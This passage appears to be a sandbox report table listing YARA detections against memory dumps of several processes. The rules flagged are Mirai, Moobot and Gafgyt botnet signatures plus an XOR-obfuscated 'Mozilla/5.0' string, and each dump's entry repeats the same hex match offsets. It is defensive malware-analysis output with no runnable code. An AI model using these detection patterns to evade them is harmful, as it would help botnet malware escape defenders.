33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6592.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6705.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6705.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6705.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6705.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6705.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6705.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6425.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6425.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6425.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6425.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6425.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6425.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6510.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6510.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6510.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6510.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6510.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6510.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6627.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6627.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6627.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6627.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6627.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6627.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6767.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6231.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6231.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6231.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6231.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6231.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6231.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6793.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6793.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6793.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6793.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6793.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 